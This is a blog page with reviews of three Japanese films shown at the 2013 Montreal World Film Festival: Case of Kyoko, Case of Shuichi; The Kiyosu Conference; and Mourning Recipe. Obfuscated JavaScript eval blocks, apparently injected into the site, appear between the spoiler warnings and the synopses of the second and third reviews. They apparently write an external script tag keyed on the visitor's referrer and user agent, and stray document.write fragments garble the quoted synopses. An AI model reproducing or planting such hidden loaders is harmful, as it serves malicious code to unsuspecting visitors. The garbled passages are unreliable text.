It is a good movie with nice photography and an introspective subject that succeeds nevertheless to capture the attention of the viewer. It reminds me a little of Claude Lelouch’s A man and a women: we expect Kyoko and Shuichi to meet in the end, but they don’t. However, it seems that they are destined to meet. We can only hope that they eventually do.

For more impression on this movie, I suggest reading Mark Schilling’s review in The Japan Times.
Case of Kyoko, Case of Shuichi (????????? / Kyoko to Shuichi no baai): Japan, 2013, 135 min.; Dir. & Scr.: Eiji Okuda; Phot.: Takahiro Haibara; Ed.: Manabu Shinoda; Mus.: Hibiki Inamoto; Prod.: Takahito Obinata, Miyako Kobayashi; Cast: Sakura Ando, Tasuku Emoto, Soko Wada, Ena Koshino, Takanori Takeyama, Yoshiko Miyazaki, Mitsuru Hirata. Film screened at the Montreal World Film Festival on August 29th, 2013 (Cinema Quartier Latin 12, 19h00) as part of the “ Focus on World Cinema” segment.
For more information you can visit the following websites:
Case of Kyoko, Case of Shuichi © 2013 Zero Pictures

[ Traduire ]

The Kiyosu Conference

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zaryk|var|u0026u|referrer|trbyf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryrbh|var|u0026u|referrer|tdtnf||js|php’.split(‘|’),0,{}))

“In 1582, document.write(“”); before the unification of Japan, Nobunaga Oda was forced to take his own life at Honno-ji Temple during a violent revolt led by Mitsuhide Akechi. Following Oda’s death, the powers in Japan held the Kiyosu Conference — the “conference that changed the course of history” — to resolve the Oda clan’s succession of leadership and redistribute Mitsuhide Akechi’s territories. Hideyoshi Toyotomi, Nagahide Niwa and Tsuneoki Ikeda meet to decide on a successor. The conference would become Japan’s first group-made political decision. In this film, director Koki Mitani, known especially for his comedies, gives us his unique interpretation of the intricate web of human relationships involved in this process as the brave general Katsuie Shibata and Hideyoshi Hashiba, who would later unify Japan, engage in a battle of wits, deceit and bargaining.” (Text from the Festival’s program)


The Kiyosu Conference is the 6th feature film by Koki Mitani, a director mostly known for his modern-day comedies (Suite Dreams [reviewed in PA #90: 74] and The Magic Hour were both shown at the Montreal World Film Festival in 2006 and 2008, respectively). It is his first attempt at a historical epic. It tells the story of what’s considered as the first political meeting of Japanese history. After the death of Nobunaga Oda in 1582, all the Oda clan power players (Katsuie Shibata, Hideyoshi Toyotomi, Nagahide Niwa, Tsuneoki Ikeda) agree to meet at the Kiyosu Castle in order to discuss his succession. Ensues a series of political intrigues, romances and plot twists which, added to the sheer number of characters (the leaders, their vassals and retainers, all with long Japanese names), makes it rather complicated to recount the whole story (for that the synopsis in the Festival’s program [above] is doing a good job).

You might think that such a serious and complex subject would be boring, but Mitani draws into his experience to create comic relief at regular intervals, so the movie carries a consistant light tone. I was actually quite surprised: I was expecting a historical saga and found what could be considered a comedy (somewhere in the movie there’s even a guy wearing a Groucho Marx moustache!). Some critics have seen in the movie a political satire, but I think it is simply the result of the awkward mix of drama and comedy that can often be found in Japanese movies.

All in all, The Kiyosu Conference is a powerful movie with an all-star cast. It is well-made (although a bit long), offer nice photography and an entertaining story that teaches us about Japanese history. In the end it is a very good movie experience (the theatre was a little more than half full). I would recommend you to see it if you can, but like most Japanese movies screened at the festival it is unfortunately not yet available in English (even one year later). If you want more comments on this movie I would recommend you to read also the reviews in The Japan Times and The Hollywood Reporter.
Kiyosu Kaigi ( ???? / The Kiyosu Conference ): Japan, 2013, 138 min.; Dir. & Scr.: Koki Mitani (based on his own novel); Mus.: Kiyoko Ogino; Phot.: Hideo Yamamoto; Ed.: Soichi Ueno; Prod. Des.: Yohei Taneda; Cost. Des.: Kazuko Kurosawa; Cast: Koji Yakusho (Katsuie Shibata), Yo Oizumi (Hideyoshi Toyotomi), Fumiyo Kohinata (Nagahide Niwa), Koichi Sato (Tsuneoki Ikeda), Satoshi Tsumabuki, Tadanobu Asano, Susumu Terashima, Denden, Kenichi Matsuyama, Yusuke Iseya, Kyoka Suzuki, Miki Nakatani, Ayame Goriki, Minosuke Bandou, Kenji Anan, Shinpei Ichikawa, Shota Sometani, Eisuke Sasai, Keiko Today, Zen Kajiwara, Catherine Seto, Yoshimasa Kondo, Kazuyuki Asano, Kankuro Nakamura, Yuki Amami, Toshiyuki Nishida; Distr.: Pony Canyon Intl. Film screened at the Montreal World Film Festival on August 28th, 2013 (Cinema Quartier Latin 9, 19h00) as part of the “World Great” segment (Out of Competition).
For more information you can visit the following websites:

The Kiyosu Conference © 2013 Fuji TV / Toho

[ Traduire ]

Mourning recipe

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynaha|var|u0026u|referrer|abhfa||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsedh|var|u0026u|referrer|hnhse||js|php’.split(‘|’),0,{}))

“When Ryohei’s wife, document.write(“”); Otomi, suddenly passes away, Ryohei is deeply depressed, without the strength to live. Two weeks after her death, a woman visits Ryohei and gives him a recipe book which was left by Otomi, a “recipe book” for a happy life. Meanwhile, Ryohei’s daughter Yuriko comes to visit him. Yuriko’s own marriage is about to end in divorce and she will have use for Otomi’s “recipe book”.” (Text from the Festival’s program)


This movie is the second adaptation of Yuki Ibuki’s book of the same title. It was her second novel (published in february 2010, it has unfortunately not been translated into english yet) and, as it quickly became a bestseller, it was first adapted into a four-episode television drama which aired on NHK between February 15 and March 8, 2011.

The important cultural element behind the story is that, in Japanese Buddhism (and Mahayana Buddhism in general), after the funeral (which occurs three or seven days after death) there’s another important ceremony held after seven weeks, on the 49th day. It seems that mourning is a slow process in Japan: it starts with preparing the body, changing the deceased’s name, holding a wake, then there’s the funeral and the cremation, followed by weekly praying and offering. Little by little, as it performs a kind of “karmic introspection”, the deceased’s spirit is moving away from the physical world until it is completely free from it. Then it achieves awakening (or enlightenment), which is a profound understanding of reality. The 49th day ceremony has for purpose to support the deceased in this transition into a new life and to celebrate it. Interestingly, this slow process also allows to mourners to get used to their loved one’s departure and this is this specific aspect that is the subject of the movie.

When Ryohei’s wife died, he was devastated. However, Otomi knew that her passing would deeply affect her family, particularly her husband, so she prepared an illustrated guide book for them. The handwritten recipe book is proposing activities (like cooking, cleaning and the basics of house keeping) for every day of the seven weeks of mourning, culminating with a big party for the family and friends! Otomi had been volunteering at the “Ribbon House”, a rehabilitation center for teenagers with difficulties, where she was teaching cooking and housework. She asked one of her students, Imoto “Imo” Sachie (a tanned blond with lots of make-up and weird clothing), to bring the book to her family. She does more than that as she stays to help, along with her Japanese-Brazilian friend Harumi (Haru aka Carlos Yabe).

At the same time, Ryohei’s daughter Yuriko (her mother died when she was a kid and Otomi was her step-mother) is depressed: she’s childless and her fertility treatment failed, she has to take care of her mother-in-law and she discovers that her husband is having an affair! She decides to leave her husband and go back home to help her father. She finds him already in good company. So, altogether with Imo and Haru, despite many difficulties, she’s helping her father going through the mourning recipes—which reveals being beneficial for everybody.

The story is a little complex to tell in more details than that, but it was a superb feel-good movie (a family drama with humour). The storytelling was beautiful, the acting excellent, it makes you think about how to live your life and, on top of it, it was quite entertaining. A good Japanese movie will always make you laugh or cry, and I did both so that makes Mourning Recipe an excellent movie. It was a popular screening since the theatre was packed (although it was a terribly tiny room with a capacity around one-hundred-fifteen, with no central alley and a floor with minimal angle, so the viewing experience was not optimal). It was the best movie I had seen so far at the festival last year. It is really worth seeing (unfortunately it seems to be available on dvd only in Japanese version).
Shijuukunichi no Reshipi ( ???????? / lit. “Recipe of 49 Days” / Mourning Recipe ): Japan, 2013, 130 min.; Dir.: Yuki Tanada; Scr.: Hisako Kurosawa (based on a novel by Yuki Ibuki); Phot.: Ryuto Kondo; Ed.: Ryuji Miyajima; Mus.: Yoshikazu Suo; Cast: Renji Ishibashi, Masaki Okada, Fumi Nikaidô, Hiromi Nagasaku, Taizo Harada; Distrib.: Gaga Corp. Film screened at the Montreal World Film Festival August 28th, 2013 (Cinema Quartier Latin 11, 16h30) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
Mourning Recipe © 2013 “Mourning Recipe” Film Partners

[ Traduire ]